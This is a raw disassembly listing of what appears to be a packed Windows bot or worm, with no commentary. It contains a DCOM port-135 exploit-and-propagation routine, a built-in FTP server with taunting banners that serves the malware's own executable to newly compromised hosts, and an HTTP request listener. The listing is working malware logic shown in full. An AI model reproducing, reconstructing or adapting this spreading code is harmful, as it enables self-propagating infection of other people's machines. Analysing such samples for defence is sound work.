call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push esi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_405260
loc_40525C: ; CODE XREF: sub_405145+51j
; sub_405145+67j ...
xor al, al
jmp short loc_40527A
; ---------------------------------------------------------------------------
loc_405260: ; CODE XREF: sub_405145+115j
push 0
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call ds:dword_43C630 ; recv
push esi
call ds:dword_43C6B0 ; closesocket
mov al, 1
loc_40527A: ; CODE XREF: sub_405145+119j
pop edi
pop esi
pop ebx
leave
retn
sub_405145 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
call ds:dword_4231FC ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_4052A9
lea eax, [ebp+0Ch]
push eax
call ds:dword_4231DC ; inet_addr
mov ebx, eax
jmp short loc_4052AF
; ---------------------------------------------------------------------------
loc_4052A9: ; CODE XREF: UPX0:00405299j
mov ebx, [ebp+0C0h]
loc_4052AF: ; CODE XREF: UPX0:004052A7j
push 11h
push 2
push 2
call ds:dword_423214 ; socket
test esi, esi
mov edi, eax
jz short loc_4052D9
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call _memcpy
add esp, 0Ch
jmp short loc_4052DC
; ---------------------------------------------------------------------------
loc_4052D9: ; CODE XREF: UPX0:004052BFj
mov [ebp-0Ch], ebx
loc_4052DC: ; CODE XREF: UPX0:004052D7j
test esi, esi
jz short loc_4052EA
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_4052F0
; ---------------------------------------------------------------------------
loc_4052EA: ; CODE XREF: UPX0:004052DEj
mov word ptr [ebp-10h], 2
loc_4052F0: ; CODE XREF: UPX0:004052E8j
push 599h
call ds:dword_423200 ; htons
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call ds:dword_42321C ; connect
test eax, eax
jnz loc_4053BF
push eax
push 1C9h
push offset loc_428E74
push edi
call ds:dword_423208 ; send
push 3E8h
call ds:dword_423060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_405145
add esp, 0BCh
test al, al
jz short loc_405355
push 1
pop eax
jmp short loc_4053D1
; ---------------------------------------------------------------------------
loc_405355: ; CODE XREF: UPX0:0040534Ej
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset unk_4290B0
lea eax, [ebp-210h]
push 200h
push eax
call __snprintf
push 0
lea eax, [ebp-210h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40D670
lea eax, [ebp-210h]
push eax
call sub_40BF6F
mov eax, [ebp+0B0h]
add esp, 2Ch
imul eax, 3Ch
inc ds:dword_429CB8[eax]
lea eax, dword_429CB8[eax]
jmp short loc_4053CF
; ---------------------------------------------------------------------------
loc_4053BF: ; CODE XREF: UPX0:0040530Ej
push 1
push edi
call ds:dword_4231F8 ; shutdown
push edi
call ds:dword_423220 ; closesocket
loc_4053CF: ; CODE XREF: UPX0:004053BDj
xor eax, eax
loc_4053D1: ; CODE XREF: UPX0:00405353j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053D6 proc near ; DATA XREF: sub_407243+226o
var_A6C = byte ptr -0A6Ch
var_8DC = dword ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
Dst = byte ptr -29Ch
var_238 = byte ptr -238h
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
Str = byte ptr -0F8h
var_C4 = byte ptr -0C4h
Str1 = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
call ds:dword_4231E4 ; WSAStartup
push edi ; Time
call _time
push eax
call sub_4172EE
push 0FEB0h
push 406h
call sub_41543F
add esp, 10h
mov ds:dword_4397EC, eax
push edi
push ebx
push 2
call ds:dword_423214 ; socket
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call ds:dword_4231E8 ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
call ds:dword_423218 ; ioctlsocket
mov ax, word ptr ds:dword_4397EC
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call ds:dword_423200 ; htons
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call ds:dword_4231EC ; bind
test eax, eax
jge short loc_4054AB
mov eax, ebx
jmp loc_4059D2
; ---------------------------------------------------------------------------
loc_4054AB: ; CODE XREF: sub_4053D6+CCj
push 0Ah
push esi
call ds:dword_4231F0 ; listen
mov [ebp+var_228], ebx
mov ebx, ds:dword_423208
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_4054C9: ; CODE XREF: sub_4053D6+12Cj
; sub_4053D6+5F4j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_42320C ; select
cmp eax, 0FFFFFFFFh
jz loc_4059CF
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_4054C9
loc_405504: ; CODE XREF: sub_4053D6+5EEj
xor esi, esi
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 64h ; Size
lea eax, [ebp+Str1]
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_421F56 ; __WSAFDIsSet
test eax, eax
jz loc_4059BD
cmp edi, [ebp+var_C]
jnz short loc_4055BB
lea eax, [ebp+var_24]
mov [ebp+var_24], 10h
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_C]
call ds:dword_4231F4 ; accept
cmp eax, 0FFFFFFFFh
jz loc_4059BD
xor ecx, ecx
cmp [ebp+var_228], esi
jbe short loc_405585
lea edx, [ebp+var_224]
loc_405575: ; CODE XREF: sub_4053D6+1ADj
cmp [edx], eax
jz short loc_405585
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_405575
loc_405585: ; CODE XREF: sub_4053D6+197j
; sub_4053D6+1A1j
cmp ecx, [ebp+var_228]
jnz short loc_4055A3
cmp [ebp+var_228], 40h
jnb short loc_4055A3
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_4055A3: ; CODE XREF: sub_4053D6+1B5j
; sub_4053D6+1BEj
cmp eax, [ebp+var_4]
jle short loc_4055AB
mov [ebp+var_4], eax
loc_4055AB: ; CODE XREF: sub_4053D6+1D0j
push esi
push 15h
push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_4059BD
; ---------------------------------------------------------------------------
loc_4055BB: ; CODE XREF: sub_4053D6+169j
push esi
lea eax, [ebp+Dst]
push 64h
push eax
push edi
call ds:dword_423204 ; recv
test eax, eax
jg short loc_405622
mov edx, [ebp+var_228]
xor ecx, ecx
cmp edx, esi
jbe short loc_405616
lea eax, [ebp+var_224]
loc_4055E2: ; CODE XREF: sub_4053D6+216j
cmp [eax], edi
jz short loc_4055F0
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_4055E2
jmp short loc_405616
; ---------------------------------------------------------------------------
loc_4055F0: ; CODE XREF: sub_4053D6+20Ej
dec edx
cmp ecx, edx
jnb short loc_405610
lea eax, [ebp+ecx*4+var_224]
loc_4055FC: ; CODE XREF: sub_4053D6+238j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_4055FC
loc_405610: ; CODE XREF: sub_4053D6+21Dj
dec [ebp+var_228]
loc_405616: ; CODE XREF: sub_4053D6+204j
; sub_4053D6+218j
push edi
call ds:dword_423220 ; closesocket
jmp loc_4059BD
; ---------------------------------------------------------------------------
loc_405622: ; CODE XREF: sub_4053D6+1F8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+Dst]
push offset aSS ; "%s %s"
push eax ; Src
call _sscanf
lea eax, [ebp+Str1]
push offset aUser_0 ; "USER"
push eax ; Str1
call _strcmp
add esp, 18h
test eax, eax
jnz short loc_405666
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4059A8
; ---------------------------------------------------------------------------
loc_405666: ; CODE XREF: sub_4053D6+281j
lea eax, [ebp+Str1]
push offset aPass ; "PASS"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40568A
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4059A8
; ---------------------------------------------------------------------------
loc_40568A: ; CODE XREF: sub_4053D6+2A5j
lea eax, [ebp+Str1]
push offset aSyst ; "SYST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4056AE
push esi
push 0Dh
push offset a215Nzmxftpd ; "215 NzmxFtpd\n"
jmp loc_4059A8
; ---------------------------------------------------------------------------
loc_4056AE: ; CODE XREF: sub_4053D6+2C9j
lea eax, [ebp+Str1]
push offset aRest ; "REST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4056D2
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4059A8
; ---------------------------------------------------------------------------
loc_4056D2: ; CODE XREF: sub_4053D6+2EDj
lea eax, [ebp+Str1]
push offset off_4292D0 ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4056F6
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4059A8
; ---------------------------------------------------------------------------
loc_4056F6: ; CODE XREF: sub_4053D6+311j
lea eax, [ebp+Str1]
push offset aType ; "TYPE"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405731
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405731
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4059A8
; ---------------------------------------------------------------------------
loc_405731: ; CODE XREF: sub_4053D6+335j
; sub_4053D6+34Cj
lea eax, [ebp+Str1]
push offset aType ; "TYPE"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40576C
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40576C
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4059A8
; ---------------------------------------------------------------------------
loc_40576C: ; CODE XREF: sub_4053D6+370j
; sub_4053D6+387j
lea eax, [ebp+Str1]
push offset aPasv ; "PASV"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4057BA
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax ; Str
movsw
call _strlen
pop ecx
push eax
lea eax, [ebp+var_124]
loc_4057AA: ; CODE XREF: sub_4053D6+423j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_4057B2: ; CODE XREF: sub_4053D6+4F3j
mov edi, [ebp+arg_0]
jmp loc_4059AB
; ---------------------------------------------------------------------------
loc_4057BA: ; CODE XREF: sub_4053D6+3ABj
lea eax, [ebp+Str1]
push offset aList ; "LIST"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4057FB
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax ; Str
movsb
call _strlen
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_4057AA
; ---------------------------------------------------------------------------
loc_4057FB: ; CODE XREF: sub_4053D6+3F9j
lea eax, [ebp+Str1]
push offset aPort ; "PORT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4058CE
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+Dst]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax ; Src
call _sscanf
lea eax, [ebp+Str]
push eax ; Str
call _atoi
mov edi, eax
lea eax, [ebp+var_2D0]
push eax ; Str
call _atoi
mov [ebp+var_8], eax
push 32h ; Size
lea eax, [ebp+Str]
push esi ; Val
push eax ; Dst
call _memset
push [ebp+var_8]
lea eax, [ebp+Str]
push edi
push offset aXX ; "%x%x\n"
push eax ; Dest
call _sprintf
add esp, 44h
lea eax, [ebp+Str]
push 10h ; Radix
push esi ; EndPtr
push eax ; Str
call _strtoul
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax ; Dest
call _sprintf
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_4057B2
; ---------------------------------------------------------------------------
loc_4058CE: ; CODE XREF: sub_4053D6+43Aj
lea eax, [ebp+Str1]
push offset aRetr ; "RETR"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405989
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_4059D9
pop ecx
cmp eax, 1
pop ecx
jnz short loc_40597F
call sub_405A56
cmp eax, 1
jnz loc_4059AB
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push ds:dword_4397EC
push eax
lea eax, [ebp+var_8DC]
push offset unk_429128 ; Format
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_405970
push esi ; int
lea eax, [ebp+var_8DC]
push [ebp+var_444] ; int
push eax ; int
lea eax, [ebp+var_4C4]
push eax ; Str
push [ebp+var_6DC] ; int
call sub_40D670
add esp, 14h
loc_405970: ; CODE XREF: sub_4053D6+575j
lea eax, [ebp+var_8DC]
push eax
call sub_40BF6F
pop ecx
jmp short loc_4059AB
; ---------------------------------------------------------------------------
loc_40597F: ; CODE XREF: sub_4053D6+52Fj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4059A8
; ---------------------------------------------------------------------------
loc_405989: ; CODE XREF: sub_4053D6+50Dj
lea eax, [ebp+Str1]
push offset aQuit ; "QUIT"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4059AB
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4059A8: ; CODE XREF: sub_4053D6+28Bj
; sub_4053D6+2AFj ...
push edi
call ebx ; send
loc_4059AB: ; CODE XREF: sub_4053D6+3DFj
; sub_4053D6+539j ...
push 64h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_4059BD: ; CODE XREF: sub_4053D6+160j
; sub_4053D6+189j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_405504
jmp loc_4054C9
; ---------------------------------------------------------------------------
loc_4059CF: ; CODE XREF: sub_4053D6+11Ej
push 1
pop eax
loc_4059D2: ; CODE XREF: sub_4053D6+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_4053D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059D9 proc near ; CODE XREF: sub_4053D6+525p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4231E4 ; WSAStartup
push 0
push 1
push 2
call ds:dword_423214 ; socket
push [ebp+arg_0]
mov ds:dword_4397E8, eax
mov [ebp+var_10], 2
call ds:dword_4231DC ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_423200 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push ds:dword_4397E8
call ds:dword_42321C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_405A51
push ds:dword_4397E8
call ds:dword_423220 ; closesocket
call ds:dword_4231E0 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_405A51: ; CODE XREF: sub_4059D9+60j
push 1
pop eax
leave
retn
sub_4059D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A56 proc near ; CODE XREF: sub_4053D6+531p
DstBuf = byte ptr -504h
Filename = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+Filename]
push 104h
push eax
push 0
call ds:dword_423090 ; GetModuleFileNameA
lea eax, [ebp+Filename]
push offset aRb ; "rb"
push eax ; Filename
call _fopen
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405AED
test byte ptr [esi+0Ch], 10h
jnz short loc_405AD1
push edi
mov edi, 400h
loc_405A99: ; CODE XREF: sub_405A56+78j
push esi ; File
push 1 ; Count
lea eax, [ebp+DstBuf]
push edi ; ElementSize
push eax ; DstBuf
call _fread
add esp, 10h
lea eax, [ebp+DstBuf]
push 0
push edi
push eax
push ds:dword_4397E8
call ds:dword_423208 ; send
push 1
call ds:dword_423060 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_405A99
pop edi
loc_405AD1: ; CODE XREF: sub_405A56+3Bj
push esi ; File
call _fclose
pop ecx
push ds:dword_4397E8
call ds:dword_423220 ; closesocket
call ds:dword_4231E0 ; WSACleanup
push 1
pop eax
loc_405AED: ; CODE XREF: sub_405A56+35j
pop esi
leave
retn
sub_405A56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405AF0 proc near ; DATA XREF: sub_407243+333o
; sub_40EE51+54CBo
Str = byte ptr -28F0h
Str1 = byte ptr -18F0h
var_8F0 = dword ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
Dest = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_14], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_25C]
call ds:dword_43C618 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call ds:dword_43C698 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_405EDB
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov ds:dword_44207C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call ds:dword_43C644 ; bind
cmp eax, 0FFFFFFFFh
jz loc_405EDB
push 7FFFFFFFh
push edi
call ds:dword_43C640 ; listen
cmp eax, 0FFFFFFFFh
jz loc_405EDB
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call ds:dword_43C6B4 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_405EDB
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_405BC7: ; CODE XREF: sub_405AF0+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call ds:dword_43C600 ; select
cmp eax, 0FFFFFFFFh
jz loc_405ED6
xor esi, esi
mov [ebp+var_4], esi
loc_405BFD: ; CODE XREF: sub_405AF0+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call ds:dword_43C510 ; __WSAFDIsSet
test eax, eax
jz loc_405EC1
cmp esi, [ebp+var_C]
jnz short loc_405C7F
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call ds:dword_43C6AC ; accept
cmp eax, 0FFFFFFFFh
jz loc_405EC1
xor ecx, ecx
test ebx, ebx
jbe short loc_405C51
lea edx, [ebp+var_134]
loc_405C45: ; CODE XREF: sub_405AF0+15Fj
cmp [edx], eax
jz short loc_405C51
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_405C45
loc_405C51: ; CODE XREF: sub_405AF0+14Dj
; sub_405AF0+157j
cmp ecx, ebx
jnz short loc_405C6E
cmp ebx, 40h
jnb short loc_405C6E
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_405C6E: ; CODE XREF: sub_405AF0+163j
; sub_405AF0+168j
cmp eax, [ebp+var_8]
jbe loc_405EC1
mov [ebp+var_8], eax
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_405C7F: ; CODE XREF: sub_405AF0+126j
mov edi, 1000h
lea eax, [ebp+Str]
push edi ; Size
push 0 ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 18h
lea eax, [ebp+Str]
push 0
push edi
push eax
push esi
call ds:dword_43C630 ; recv
test eax, eax
jg short loc_405D12
push esi
call ds:dword_43C6B0 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_405EC1
lea eax, [ebp+var_134]
loc_405CD1: ; CODE XREF: sub_405AF0+1EBj
cmp [eax], esi
jz short loc_405CE2
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405CD1
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_405CE2: ; CODE XREF: sub_405AF0+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405D06
lea eax, [ebp+ecx*4+var_134]
loc_405CF0: ; CODE XREF: sub_405AF0+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405CF0
loc_405D06: ; CODE XREF: sub_405AF0+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_405D12: ; CODE XREF: sub_405AF0+1C8j
xor esi, esi
push 104h ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Str]
mov [ebp+arg_0], esi
push eax ; Str
call _strlen
add esp, 10h
test eax, eax
jbe loc_405EC1
loc_405D40: ; CODE XREF: sub_405AF0+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+Str]
cmp al, 0Ah
mov [ebp+esi+Str1], al
jnz loc_405DE5
mov esi, offset aGet ; "GET "
lea eax, [ebp+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_405DB9
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 5
pop ecx
jbe short loc_405DB9
mov eax, offset asc_4293B4 ; " "
push eax ; Delim
push eax ; SubStr
lea eax, [ebp+Str1]
push esi ; SubStr
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strstr
pop ecx
pop ecx
push eax ; Str
call _strtok
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
add esp, 10h
jmp short loc_405DD0
; ---------------------------------------------------------------------------
loc_405DB9: ; CODE XREF: sub_405AF0+27Fj
; sub_405AF0+291j
lea eax, [ebp+Str1]
push offset asc_4293B0 ; "\r\n"
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_405E04
loc_405DD0: ; CODE XREF: sub_405AF0+2C7j
push edi ; Size
lea eax, [ebp+Str1]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405DE5: ; CODE XREF: sub_405AF0+263j
inc [ebp+arg_0]
lea eax, [ebp+Str]
push eax ; Str
inc esi
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jb loc_405D40
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_405E04: ; CODE XREF: sub_405AF0+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_405E4E
lea eax, [ebp+var_134]
loc_405E10: ; CODE XREF: sub_405AF0+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_405E21
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405E10
jmp short loc_405E51
; ---------------------------------------------------------------------------
loc_405E21: ; CODE XREF: sub_405AF0+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405E45
lea eax, [ebp+ecx*4+var_134]
loc_405E2F: ; CODE XREF: sub_405AF0+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405E2F
loc_405E45: ; CODE XREF: sub_405AF0+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_405E51
; ---------------------------------------------------------------------------
loc_405E4E: ; CODE XREF: sub_405AF0+318j
mov esi, [ebp+var_4]
loc_405E51: ; CODE XREF: sub_405AF0+32Fj
; sub_405AF0+35Cj
lea eax, [ebp+Dest]
test eax, eax
jz short loc_405EBA
lea eax, [ebp+var_360]
push eax ; Str
call _strlen
mov edi, eax
lea eax, [ebp+Dest]
push eax ; Str
call _strlen
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_405EBA
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call ds:dword_43C6B4 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+Dest]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4060CD
add esp, 14h
jmp short loc_405EC1
; ---------------------------------------------------------------------------
loc_405EBA: ; CODE XREF: sub_405AF0+369j
; sub_405AF0+38Fj
push esi
call ds:dword_43C6B0 ; closesocket
loc_405EC1: ; CODE XREF: sub_405AF0+11Dj
; sub_405AF0+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_405BFD
jmp loc_405BC7
; ---------------------------------------------------------------------------
loc_405ED6: ; CODE XREF: sub_405AF0+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_405EDB: ; CODE XREF: sub_405AF0+6Aj
; sub_405AF0+92j ...
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_42936C ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405F21
push ebx ; int
lea eax, [ebp+var_8F0]
push [ebp+var_250] ; int
push eax ; int
lea eax, [ebp+var_5E8]
push eax ; Str
push [ebp+var_5EC] ; int
call sub_40D670
add esp, 14h
loc_405F21: ; CODE XREF: sub_405AF0+40Cj
